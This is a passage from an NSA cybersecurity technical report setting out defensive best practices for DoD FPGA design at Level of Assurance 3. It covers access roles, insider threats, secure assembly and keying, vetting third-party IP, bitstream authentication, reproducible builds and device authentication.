alternate or newer version that +does not have the vulnerability. Alternatively, perform a risk assessment and +coordinate findings with JFAC. +Use a secret or classified network to protect from remote attack. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Descriptions +Assign roles +Employees should be assigned a specified role with associated accesses and privileges +based on the role. At a minimum, these roles should include design, test, network +administration and system administration. Roles should also be defined and +documented with no overlap. For example, the test engineer should not be the same +person who wrote the requirements to be tested. Users should not have multiple roles. +Note: In many real-world flows, designers and testers will require elevated privileges. +Some of these elevated privileges may be shared with system administrators. Some +may have names ("local admin," "root," etc.) that imply system administration. For +example, a member of the design team working on a software hardware interface may +require local administrative privileges to install and debug their work. A member of the +test team for an FPGA-based device connected to an IP network might require the +ability to configure multiple network devices in the test environment, as well as to +connect a computer in promiscuous mode to that same test environment. Those +accesses represent a part of the design or test role. However, these must be based on +the needs of the design or test process. +Elevated privileges on computers should be granted only as needed, and kept local to +specific computers. Elevated privileges should never include administrative access to +revision control servers, software installation, or other corporate infrastructure. +Elevated privileges on networks should be limited to distinct test networks, properly +isolated from the design environment and the corporate network. +Control and monitor access +Employees should only have access to areas, equipment, data, and information +necessary to meet the requirements of their assigned job. Entry/access to appropriate +areas should be recorded, monitored, and logged for auditability. +Research vulnerabilities +Software and tooling vulnerabilities can be exploited for nefarious purposes. The +program should actively monitor for vulnerabilities and perform risk assessment for any +software or tools selected. Platforms and tool vulnerabilities can be found in databases, +such as: +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Common Vulnerabilities and Exposures (CVE) + https://cve.mitre.org +National Vulnerabilities Database (NVD) + https://nvd.nist.gov +Government Industry Data Exchange Program (GIDEP) +https://www.gidep.org/products/products.htm +DISA Security Technical Implementation Guides (STIGs) +https://public.cyber.mil/stigs/ +Searches for vendor advisories, publications, and academic papers detailing +vulnerabilities in the device in question. +Use a secret or classified network +Programs should select a network classified at the Defense Security Cooperation +Agency (DSCA) Secret level or above. +TD 3.6 Mitigating risk from a compromised employee +This scenario involves the compromise of an employee with access to the design, tools, +or network being used for design or test. +Mitigations +Enforce auditability of the requirements, architecture, design, code, tests, bugs, +and fixes. +Enforce the approved design process. +Identify, document, and review critical design activities. These items should be +reviewed by a cleared individual that is different than the original designer. +Use cleared personnel in an environment certified to handle classified material at +the Secret level or higher by DSCA. This also includes design centers certified +for Trust Category I by DMEA. +Note: For this threat, independent is defined as "not the originator." The reviewer can +be on the same team if necessary. +Descriptions +Enforce auditability +Enforce auditability of the requirements, architecture, design, code, tests, bugs, and +fixes. At a minimum, audit data includes what decisions were made, by whom, for what +reason, and on what date. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Enforce the approved design process +The design should include the identification of all assurance critical activities and +highlight how each will be reviewed. The design process should ensure the design is +reviewed by multiple cleared individuals. The original designer should not be the +responsible party for performing the review. The cleared reviewers should assess the +satisfaction of all requirements, ensure no extraneous design, and assess all +vulnerability activities, including identification of vulnerabilities and the appropriateness +of the mitigations. The design process should contain clear entry and exit criteria. Entry +and exit criteria should incorporate peer reviews and technical reviews with +management approval to exit a phase. +Review critical design activities +Ensure all critical activities are identified, documented, and the entire design is reviewed +by multiple cleared individuals other than the original designer. Reviewers should +assess all critical activities. Specific considerations include: +Design source files in conjunction with behavioral simulations +Design synthesis in conjunction with functional verification +Design implementation in conjunction with static timing analysis +Bitstream generation with reproducible build results +Programming in conjunction with in-circuit verification +Ensure that the review teams do not include the original designers and each reviewer +should hold a U.S. Secret security clearance. +Use cleared personnel +Use personnel with at least a Secret level clearance to perform designated work. +TD 3.7 Mitigating risk associated with the compromise of device +identifiers +It is imperative to protect the device IDs, ensuring adversaries are not able to utilize this +information to track devices, swap counterfeits into the stores, or manipulate device +controls. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Mitigations +Store device identifiers in a protected area utilizing access control. This should +include physical or logical separation, and could be a safe, a classified network, +or a sensitive compartmented information facility (SCIF). +Limit access to device identifier information to those that need it for completion of +job responsibilities. +Descriptions +Store device identifiers +Store devices in a protected area utilizing access control. This should include physical +or logical separation, and could be a safe, a classified network, or a SCIF. +Limit access to device identifier information +Limit device identifier information to those that need it for completion of job +responsibilities. +TD 4: Adversary compromises system assembly, keying, or +provisioning +In this threat, an adversary has carried out an attack on the system during printed circuit +board (PCB) assembly, key injection, or flash provisioning. This attack could include the +assembly house acquiring counterfeit parts on behalf of the end customer, swapping out +authentic FPGA parts for counterfeit ones, stealing or compromising configuration data, +or stealing or modifying keys. Multiple parties can be involved during the system +assembly phase. The following areas of the supply chain are included in this threat: +Shipping devices to the PCB assembly facility. +Transmitting keys, configuration data and FPGA part numbers to the assembly +facility. +Injecting keys into the FPGA devices. +Provisioning the configuration storage devices. +Attaching the FPGA devices to the PCB. +Testing PCBs. +Shipping the PCBs to the next manufacturing stage. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Of particular concern in this attack is the assumed existence of one or more cleared +insiders working maliciously in some portion of this manufacturing process. At LoA3, +this insider could be working alone or in partnership with an external party to influence +the outcome. Additionally, in LoA3, attacks can also result in reliability or performance +degradation. The following mitigations are built to address these premises: +All assembly work requires after-the-fact validation by the program validation team +in a cleared facility. +The assembly work should be conducted in a facility minimally classified as +Secret. The post-fab validation should be done by a verification team with Secret +clearance and independent of those who conducted the assembly work. The +duplication is necessary as cleared insiders working in conjunction can +compromise the device and the validation process. The use of multiple cleared +teams helps to reduce the risk of that scenario. +It is recommended that all mitigation steps be performed in a classified facility. +TD 4 mitigations +Regardless of where the work is performed, the program should implement the following +list of mitigations in the assembly, keying, and provisioning process: +Purchase from DoD authorized vendors and distributors. The DoD program +acquisition group can provide this information. +Follow storage and shipping guidance when storing or transferring FPGA devices +between locations. +Provide keys and configuration data to the provisioning house in digitally signed +packages and with hashes. +Prior to provisioning, clear memory devices that store configuration data. +Provision private keys into the FPGA devices in a DSCA Classified Secret or +Trust Category I certified facility after the assembly process. +Protect the configuration data package by sending it separately to the assembly +house and the validation team. +Following assembly and provisioning, perform verification activities in a DSCA +Classified Secret or Trust Category I certified facility. +*Authenticate the FPGA device after being out of the control of the program. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 4 mitigation descriptions +Purchase from DoD authorized vendors and distributors +Use DoD authorized vendors for all purchases. Authorized vendors can be located +through the acquisition organization. +Follow storage and shipping guidance +All devices should be verified upon receipt. Once verification has taken place, +production devices should be stored and maintained in a restricted area separate from +non-production devices (design, test, etc.). Production devices should be continuously +tracked to include arrival of the device by unique identifier, interaction anyone has with +the device, and exit of the device from inventory. The restricted area should enforce +access control that limits access to only a minimum subset of people that require +access to support direct job responsibilities and excludes all members of the design +team. The restricted area should have a clearly defined perimeter, but physical barriers +are not required. Personnel within the area are responsible for challenging all persons +who may lack appropriate access authority. The restricted area access should be +audited to include data containing who entered/exited the area with a timestamp and +reason for entry. +Shipping should be controlled and managed. JFAC recommends shipping material +using a commercial carrier that has been approved by the CSA to transport Secret +shipments, although the material is not Secret. Commercial carriers may be used only +within and between the 48 contiguous States and the District of Columbia or wholly +within Alaska, Hawaii, Puerto Rico, or a U.S. possession or trust territory. When +shipping using a commercial carrier take efforts to afford additional protection against +pilferage, theft, and compromise as follows. This includes using hardened containers +unless specifically authorized otherwise and ensuring the packages are sealed. The +seals should be numbered and the numbers indicated on all copies of the bill of lading +(BL). When seals are used, the BL shall be annotated substantially as follows: DO NOT +BREAK SEALS EXCEPT IN CASE OF EMERGENCY OR UPON PRIOR AUTHORITY +OF THE CONSIGNOR OR CONSIGNEE. IF FOUND BROKEN OR IF BROKEN FOR +EMERGENCY REASONS, APPLY CARRIER'S SEALS AS SOON AS POSSIBLE AND +IMMEDIATELY NOTIFY BOTH THE CONSIGNOR AND THE CONSIGNEE. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Provide keys and configuration data +Provide keys and configuration data to the provisioning house in digitally signed +packages and with hashes. JFAC recommends that these data packages be encrypted +using the Advanced Encryption Standard (AES) algorithm with a key of at least 256-bit +length. The assembly house should utilize the signature and hash to verify the integrity +of the contents. +Clear memory devices +Prior to provisioning, clear memory devices that store configuration data. This prevents +an adversary from storing malicious configuration data in non-used areas of the memory +device. These memory devices could include a discrete PCB component like a Flash or +the on-chip FPGA non-volatile storage available on certain devices. +Provision private keys +Provision private keys into the FPGA devices in a DSCA Classified Secret or Trust +Category I certified facility after the assembly process. +Protect the configuration data package +The program should ensure there are processes and procedures in place to ensure that +the configuration data package is provided to the assembly house and the validation +team in a manner that cannot be corrupted by a single individual. The data should be +provided directly and independently to each destination. The assembly house should +not be used to pass the data to the test facility. Ensure there is a golden copy provided +to each functional area ensuring the same data is transmitted. +Perform verification activities +Following assembly and provisioning, perform all verification activities in a DSCA +Classified Secret or Trust Category I certified facility. +At LoA3, there can be multiple compromised cleared insiders. To mitigate this threat, a +team of people cleared at the Secret level and independent from the assembly and +provisioning team should be utilized to conduct the validation. +Those performing this validation must: +Verify the PCB traces related to the FPGA device, the configuration memory +devices, and any other devices related to the authentication of the configuration +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +data. If needed, the program should rely on guidance from the JFAC PCB +Executive Agent to perform this verification. +Verify the authenticity of the configuration data loaded on the FPGA memory +device following provisioning and assembly. The verification can be executed by +a bit comparison or a hash. This verification must be performed by a team +independent of the assembly and provisioning process. The verification should +cover the entire contents of the memory device and not just the addresses +containing the configuration data. It is recommended to program the entire +memory space to disallow unused memory for nefarious purposes. +Verify that the FPGA system can cryptographically authenticate all loaded +configuration data as part of the system containing the FPGA upon load. The +authentication methodology should verify both the source and contents. +Verify that the proper post assembly keys have been loaded into the FPGA key +storage elements. This verification must be performed by a team independent of +the assembly and provisioning process. Some FPGA devices allow a hash of the +keys to be read out for confirmation. Additionally, the program should create test +bitstreams to verify that the devices can properly utilize the keys and can reject +actions using wrong keys. +Verify the authenticity of the FPGA device to rule out the introduction of a +counterfeit part during assembly. +Authenticate the FPGA device +When the FPGA has been out of positive control of the program it must be +authenticated. The program should select one of the options below: +Option 1: Verify the device on the PCB is an authentic and authorized device by +validating that each device has a unique cryptographic ID signed by the vendor. Each +device must contain a unique private asymmetric key for which no read function exists, +and validation must involve the device signing a nonce. A NIST approved asymmetric +authentication algorithm must be used for this. The program should authenticate the +FPGA devices utilizing this ID when they have been out of the positive control of the +program. +Option 2: Verify the device on the PCB is an authentic and authorized device by +performing physical counterfeit inspection with destructive sampling as described under +Perform physical inspection/analysis. This is primarily an SAE International AS6171 +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Test Methods Standard; General Requirements, Suspect/Counterfeit, Electrical, +Electronic and Electromechanical Parts based evaluation, with requirements to obtain +vendor information. +Option 3: Use a soft PUF. Verify the device on the PCB is an authentic and authorized +device by utilizing a soft PUF to create unique IDs. The soft PUF is used to validate the +integrity of the devices when they are outside of the program's control. The program +should generate these IDs when FPGAs are in their control by loading the soft PUF into +the FPGA fabric, use it to generate a unique ID for the respective device, and then +delete the PUF. Following assembly, the program should repeat this process and +ensure the ID matches, authenticating the device. If the soft PUF will be used to +authenticate the device when it is outside the program control, it is recommended that +the following be done: +Prevent readout of the PUF output to the FPGA +s external pins. +Utilize the PUF to encrypt a nonce that can transmit outside the device. +Utilize a public key based on the PUF value to decrypt the nonce and +authenticate the device. +This approach can be used to support remote attestation when needed. +TD 5: Adversary compromises third-party soft IP +In this threat, an adversary compromises third-party soft IP intended for integration into +the configuration of the FPGA. The compromise can occur during the IP +s development +cycle, during its delivery, or while it is at rest at the program +s design center. In all +scenarios, the compromised IP contains a malicious function that was inserted during its +design and can be triggered through some input to the FPGA, or when a specific +scenario occurs. In all cases, it is important to remember the purpose of the Trojan is +unknown, but probable impacts include functional change, performance, power, or +reliability. The mitigations to these attacks focus on verifying integrity of the delivery of +the IP and reviews of its HDL code. +See Appendix B: IP Reuse Guidance for information describing parameters for reusing +internally created or previously evaluated IP. +TD 5 mitigations +Purchase from DoD authorized vendors and distributors. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Only accept IP that is unobfuscated and distributed as source code. +Ensure IP deliverable packages are digitally signed. +Validate the cryptographic hash of the IP against the hash signed by the vendor. +Store IP in a revision control repository immediately upon receipt with the hashes +used to authenticate the contents. Protection of the hash will allow for reverification of the IP at a later date. +*Examine IP for malicious functions. +TD 5 mitigation descriptions +Purchase from DoD authorized vendors and distributors +Use DoD authorized vendors and distributors for all purchases. Authorized vendors can +be identified through the acquisition organization. +Only accept IP that is unobfuscated +Only accept IP that is unencrypted, unobfuscated, and distributed as source code. IP +must be human readable for review. +Ensure IP deliverable packages are digitally signed +The program should only accept digital signature certificates validated by reputable third +parties. The program should be limited to publicly released software and not special or +custom distributions of the software. The program should maintain documentation of the +vendor provided signature and hash, and the actual software hash. +Validate the cryptographic hash +Ensure that the cryptographic hash of the IP is validated against the hash signed by the +vendor. All parts of the software delivery should be authenticated in this manner +including +install + macros and other support functions. The program should only accept +certificates validated by reputable third parties. The program should be limited to +publicly released software. The program should maintain documentation of the source +of the hash and the actual software hash. +Store IP in a revision control repository +Immediately upon receipt, the IP with its associated hash should be checked into a +version control repository. The hash of the IP should be verified at various stages to +ensure there have been no modifications. The hash should be stored separately from +the IP block and be made read-only to the development team. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Examine IP for malicious functions +To examine the IP for malicious functions, choose one of the following options: +Option 1: Have two cleared personnel review the IP, according to the JFAC guidance in +Third-Party IP Review for Level of Assurance 3. JFAC can provide this document upon +request. +Option 2: Contact JFAC to determine if an IP review of the complete IP package has +been previously completed. If JFAC has not performed an IP review, option 1 must be +selected. +TD 6: Adversary swaps configuration file on target +In this threat, an adversary obtains access to the system during or after assembly and +can compromise the FPGA device +s operation via a modification to the configuration +data. +For assurance purposes, these guidelines are not concerned with the exposure of the +configuration data or the confidentiality of the public keys, as they do not compromise +the authentication of the data. However, programs with security requirements may need +to protect this information and can choose to implement additional protections. +Technological mitigations exist publicly for this threat such as configuration data +authentication. Mitigations must involve authenticating the configuration file for both +integrity and provenance. JFAC encourages programs to use device families that +support configuration data authentication. +Programs are discouraged from using devices that do not support configuration data +authentication. In this scenario, authentication practices apply to all configuration file +loads, including local loads, remote updates, multi-boot scenarios, configuration via +software, and configuration via protocol where the configuration file is loaded into the +FPGA. For devices that store the data internally in non-volatile memory (NVM), this +requirement only applies to the initial loading. +As of October 2022, all the major U.S. FPGA vendors provide built-in functionality to +authenticate configuration files either at load into internal memory or at configuration for +at least one device family. The specifics of this authentication vary greatly. The exact +details of key management and storage vary from device to device. Some offer facilities +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +to store many authentication keys, some use fuses, and others use independently +powered random access memory (RAM). Further, there are public techniques to subvert +the authentication, which have complex implications for the security of built-in +authentication1. +The result is that the exact security of each method is not apparent without a detailed +evaluation. This report communicates the specific mechanisms that meet JFAC +expectations, as well as caveats for their use. As a rule, the program must use CNSS or +NIST approved asymmetric cryptographic algorithms at LoA3. +To achieve LoA3, all boot/configuration images must be authenticated with respect to +their source and data integrity. That is, the device must validate that the file comes from +an authorized provider and that the data has not been modified prior to loading. For +LoA3, the recommended method for authenticating the data source is to use an +asymmetric algorithm recommended by CNSS or NIST. Asymmetric algorithms are +preferred because they do not require the protection of a secret key. For data integrity, +a hashing algorithm, such as secure hashing algorithm (SHA), is recommended. Many +of the existing FPGA devices provide these functions for the user. +TD 6 mitigations +These are the configuration file threat mitigations: +Incorporate cryptographic authentication of all loaded configuration data as part +of the system containing the FPGA. +Design the system to authenticate configuration data each time the data is +loaded into the FPGA device. +Configure all production devices in a way that prevents direct read back of the +private keys through electrical means. +Use a CNSS/NIST approved algorithm and key length. +Use DoD evaluated authentication mechanisms. +Disable test access pins in fielded products. +*When the program utilizes mechanisms that allow application updates, ensure +authentication for modifications is supported +1 The Unpatchable Silicon: A Full Break of the Bitstream Encryption of Xilinx 7-Series FPGAs. Usenix Security +20. Maik Ender, Amir Moradi, Christof Paar. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Generate and store all authentication keys on a program controlled, FIPS 140-2 +compliant, Level 2 hardware security module (HSM) +TD 6 mitigation descriptions +Incorporate cryptographic authentication +The program should enforce cryptographic authentication of the configuration file. In +addition, the program should maintain documentation including the authentication +methodology, its architecture, and its compliance with appropriate CNNS Policy if the +project is identified as a National Security System. Otherwise, ensure compliance with +appropriate NIST standards. +Authenticate configuration data each time the data is loaded +Design the system to authenticate configuration data each time the data is loaded into +the FPGA device. +Prevent direct read back +Configure all production devices in a way that prevents direct read back of the private +keys through electrical means. +Use a CNSS/NIST approved algorithm and key length +If the project is identified as an NSS, use a CNSS Policy approved algorithm and key +length. Otherwise use a NIST approved algorithm and key length, as described in the +latest approved version of FIPS 186, Digital Signature Standard, or FIPS 198, The +Keyed-Hash Message Authentication Code (HMAC). +Use DoD evaluated authentication mechanisms +The program can either select an authentication mechanism with an existing evaluation +or sponsor the evaluation itself. JFAC can perform evaluations and maintains best +practices in using commercial technology for this purpose. +At a minimum, any evaluation must: +Ensure compliance with the current version of FIPS 186, Digital Signature +Standard. +Authenticate all boot configuration data. +Confirm its ability to verify data integrity using positive and negative testing. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Confirm its ability to verify the authorized source using positive and negative +testing. +Ensure authentication is applied to all configuration data regardless of how it is +stored or delivered prior to or in parallel to configuration. +Verify the authentication mechanisms do not contain any known vulnerabilities. +All keys must be generated and protected in accordance with FIPS 140-2 Level +The use and operation of application test access is disabled in fielded products. +Disable test access pins +All modern FPGA family devices have hardware test interfaces to support fabrication +testing of the device and testing of the user product. These interfaces usually include +Joint Test Action Group (JTAG) pins and dedicated test pins. +JTAG pins should be disabled in fielded products. It is a common practice to disable +these access points prior to fielding the device. JFAC recommends disabling this in nonvolatile fuses when available. +Ensure authentication for modifications +Many FPGA platforms contain mechanisms that allow the application to change or +update itself. Some allow for true in-flight reprogramming, where some portion of the +FPGA continues normal operation while another portion changes its behavior. Others +allow for reprogramming via external storage. Ensure that the built-in application change +technique applies authentication to all the reconfiguration data. +The names of these operations are system specific and include terms like +dynamic +reconfiguration, +partial reconfiguration, +in-application programming, + etc. In practice, +most FPGA device families do not provide the same degree of authentication that the +primary programming mechanisms provide. +Authenticating reconfiguration data in the application itself +In this case, the program incorporates functions in the application to perform +authentication on configuration data when the FPGA device cannot. When utilizing this +option, the program should pay attention to the following considerations. +2 FIPS 140-2 will be replaced at a future date with FIPS 140-3. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +System-on-chip FPGAs (SoC FPGAs) incorporate central processing units (CPUs) as a +component of a reconfigurable platform. The JFAC FPGA Best Practices do not seek to +provide software assurance to the application running in the CPUs of a SoC FPGA. +However, the best practices listed here will provide the same degree of assurance to +the initial user code (sometimes called a bootloader) executed by the CPU. +From there, it is possible for a designer to extend the same authenticity to the user code +if their system requires it. In cases where the program uses an interface between the +FPGA fabric and the SoC in order to have one function load the other, it is vital that no +path exists from this interface to the input/output (I/O). It is up to the program to ensure +that only the application has access to it. +In some platforms, security settings can be programmed into both non-volatile storage +in the device itself and as a setting in the configuration file loaded into the device. +Settings should always be programmed in the non-volatile storage of the device. In +those cases where use of security settings within the configuration file is acceptable, it +must be explicitly noted. +Some platforms provide support for remotely updating the boot or configuration data on +the FPGA device. This update is sent via a network, stored locally on the FPGA device, +and then loaded into the device by the application. +An application designer using these operations should implement one of the following +two options: +Option 1: Validate that the built-in application change technique being used fully applies +authentication to all the reconfiguration data. +Option 2: Perform authentication of the reconfiguration data in the application itself. +Many platforms support the ability to load different boot or configuration files from a +local memory. This methodology involves the current application instructing the device +to point to a new memory location for the boot/configuration information. In these cases, +the device maintains a pointer to the original data if there is a load error with new file. It +is necessary to ensure that all boot/configurations can be authenticated with respect to +its source and data integrity in the same manner as the base load. Many devices leave +this task to the application to perform. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Use a FIPS 140-2 compliant, Level 2 HSM +Generate and store all authentication keys on a program controlled, FIPS 140-2 +compliant, Level 2 HSM with the HSM configured to enforce role-based restrictions on +the use of the keys. Maintain an approved list of individuals who can access the keys. +It is worth noting that there are additional protections that can be applied to the FPGA +configuration data when its fielded location is physically unguarded. These include: +Configuration file encryption using a NIST or DoD approved algorithm. +The use of split decryption keys to make key theft more difficult. This involves +storing multiple keys throughout the system, concatenating them, and then using +the hash of the concatenation as the decryption key. +The use of PUFs for key generation or a combination of PUF output and stored +key. +Utilize any additional key protection mechanisms provided by the vendors. +Utilize good physical access protections for the PCB. +TD 7: Adversary substitutes modified FPGA software design +suite +In this threat, an adversary replaces the design suite an application designer uses with +one modified to subvert the application during synthesis, place and route, or +configuration data generation. In this threat, the adversary would have access to a +modified version of commercial vendor software and would use the modified software +Subvert the security features of an FPGA during configuration data generation. +Insert a malicious function into the device during synthesis, place and route or +configuration data generation. +Insert a data leak or backdoor into the synthesized device during synthesis, place +and route, or configuration data generation. +This subverted tool would then be entered into the program +s design environment by a +vendor insider, an adversary-in-the-middle technique, or through a network intrusion. +This threat does not include the scenario where an FPGA vendor insider modifies the +authorized software during development for malicious purposes, which is covered by TD +10: Adversary modifies vendor FPGA software design suite during development. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 7 mitigations +Purchase from DoD authorized vendors and distributors. Both DoD and vendors +have recommendations for the appropriate distributors of products. The DoD +program acquisition group can provide this information. +Prevent automatic tool updates by using an installation and update process that +does not require Internet connectivity. +Install and execute software using a trusted computing environment to protect +from remote intrusions. +Use cleared personnel with at least a Secret level clearance. +Validate the cryptographic hash of the software against the hash signed by the +vendor. +*Validate the tool output has not modified the source design. +TD 7 mitigation descriptions +Purchase from DoD authorized vendors and distributors +Use DoD authorized vendors for all purchases. Authorized vendors can be identified +through the acquisition organization. +Prevent automatic tool updates +Prevent automatic tool updates by using an installation and update process that does +not require Internet connectivity. +Use a trusted computing environment +Programs should select one of the trusted computing environment options below, to +protect from remote attack. +Option 1: A computer and network classified at the DSCA Secret level or above. +Option 2: A computer and network certified for use in a Trust Category 1 facility as +defined by DMEA. +Option 3: A network-isolated computer enclave with limited and controlled access +adhering to NIST and CMMC standards. This is a computer with the vendor software +installed by a network administrator. This administrator should not be a designer +working on the application design. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Use cleared personnel +Use personnel with at least a Secret level clearance to perform designated work. +Validate the cryptographic hash +Ensure the cryptographic hash of the software deliverables is validated against the hash +signed by the vendor. All parts of the software delivery should be authenticated in this +manner including +install + macros and other support functions. The program should only +accept digital signature certificates validated by reputable third parties. The program +should be limited to publicly released software and not special or custom distributions of +the software. The program should maintain documentation of the vendor provided +signature and hash, and the actual software hash. +Validate the tool output +Validate the tool has not inserted any Trojan by choosing one of the following options: +Option 1: Perform logical equivalency checking between the application HDL and the +final configuration data. This effort should attempt to verify that the final bitstream and +originating application HDL are logically equivalent with no extraneous logic in the final +format. This action will confirm that no Trojans were inserted during the implementation +steps. +Option 2: Use a reproducible build process to validate the software. +When using reproducible builds to validate software, enlist a third party to mirror the +FPGA +s synthesis, place and route, and configuration file generation. If the mirroring is +executed properly and independently, the outputs can be compared to verify that the +vendor software package is unmodified or modified in a way that does not affect the +application design. To ensure proper execution of this mitigation, the following must be +observed: +The software used to mirror the program +s synthesis effort must be procured in a +manner to make it independent from the procurement of the original version. +The reproducible build software should be loaded/installed by a different +administrator than the administrator that performed the original install. +This mitigation requires independent duplicative activities since the adversary +could have knowledge about the project and how it obtains, loads, and controls +its tools. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +The mirrored effort should utilize the same version of the software on the same +operating system and version. +The application development team +s software and the mirroring software should +possess matching hashes and size values. +The mirrored effort must utilize the same HDL code, IP and synthesis scripts. +The mirrored effort must utilize the same vendor tool settings. +The output of the effort is an unencrypted, uncompressed configuration data file. +Contact the FPGA software vendor for more detailed guidance on creating reproducible +builds. They have already performed work in this area and can assist with documented +instructions. +Both the development effort and the mirror effort should execute the FPGA +development flow from synthesis to configuration file output and then perform the +following steps: +Throughout the flow, output any intermediary files that can be used to compare +results at various stages. This can include primitive netlists, synthesized netlists, +physical netlists, and final configuration data files. +Compare the final configuration files for size and content. They should match in +all respects except for header information that may include timestamps and other +property information. +If the files are encrypted, take steps to ensure that any nonces, such as the +initialization vector, used by both efforts are the same. +If discrepancies are found in the comparison, the following steps should be followed: +Contact the software vendors for assistance. +Contact JFAC for assistance in resolving the discrepancy. +If a software version does not match what was expected, JFAC recommends reporting it +to the vendor for further analysis and correction. +TD 8: Adversary modifies FPGA platform family at design +In this threat, an adversary inserts a malicious function or preplaces a vulnerability for +later use in an FPGA device during its hardware design phase. This attack involves a +network intrusion or a compromised insider working for the vendor or one of its +subcontractors. While this attack lacks the ability to target an individual program, it can +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +preposition a vulnerability for later use. Evaluation of manufactured hardware for built-in +malicious functions or vulnerabilities is a very difficult, highly expensive, and near +impossible task. As such, no practical amount of evaluation can guarantee the absence +of any designed-in malicious function. +TD 8 mitigations +Engage JFAC to evaluate the FPGA device family. +TD 8 mitigation description +Engage JFAC +JFAC recommends the program engage JFAC to evaluate the chosen FPGA device +family or to acquire information garnered from previous evaluations. JFAC will then +instruct the program on what steps to take to identify malicious code or weaknesses in +their FPGA platform. Initially, the program may be asked to conduct a subset of the +evaluation steps in partnership with JFAC. In parallel, JFAC may evaluate the FPGA +device family for malicious behavior and operational weaknesses. In addition, JFAC has +been evaluating commonly used FPGA device families proactively. +In support of this mitigation, JFAC asks all programs seeking LoA compliance at any +level to provide JFAC with information regarding the FPGA devices they are using along +with a brief summary of their use. This information will be compiled to create a picture of +which FPGAs are of greatest interest to DoD and which ones might represent a +vulnerability to multiple programs. This information will drive the decision-making behind +which device families to proactively analyze for vulnerabilities. +JFAC communicates this information at a variety of classification levels. Please contact +JFAC to obtain the appropriate email address at https://jfac.navy.mil. +Refer to Appendix C: JFAC FPGA reporting template for the information a program +should include in the email. +As evaluations are completed, JFAC will document the findings for programs to use in +their vulnerability research. +Finally, JFAC recommends that programs utilize newer and more modern device +families when possible. These families possess more mature design architectures that +encompass vulnerability fixes and advanced assurance features. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 9: Adversary compromises single-board computing +system (SBCS) +In this threat, an adversary compromises a single-board computing system (SBCS) +purchased by a program for use in a system. An SBCS is a commercial off-the-shelf +product consisting of a PCB with FPGAs and computer processing resources. These +boards are common throughout DoD systems as they are readily available in the +marketplace. Under this threat, the program does not have control of the manufacturing +process of the SBCS, forcing the program to rely upon a verification heavy approach to +mitigating attacks. In this light, programs should work with existing DoD providers to +build custom SBCS devices in compliance with LoA3 guidelines. +Of primary concern in this scenario are threats to: +Authenticity of the FPGA devices +PCB connections to the FPGA +The configuration methodology +Test interfaces +The following mitigations only address the hardware assurance concerns related to the +manufacturing and operation of the FPGA device and do not consider other +components of the SBCS. +TD 9 mitigations +Programs should engage a DoD vendor to build the SBCS devices under the +LoA3 constraints. This includes the use of cleared people and classified facilities, +minimally at the Secret level. +All verification and authentication steps in this section should be conducted by a +team of people independent from the manufacturing team. +Authenticate the FPGA devices. +Verify the SBCS configuration process and that the board-level connections +comply with the LoA3 mitigation requirements. +Document the steps taken to comply with these requirements. This includes +hardware and software features. +Test nonvolatile memory verifying there are no conflicting prepopulated settings. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity 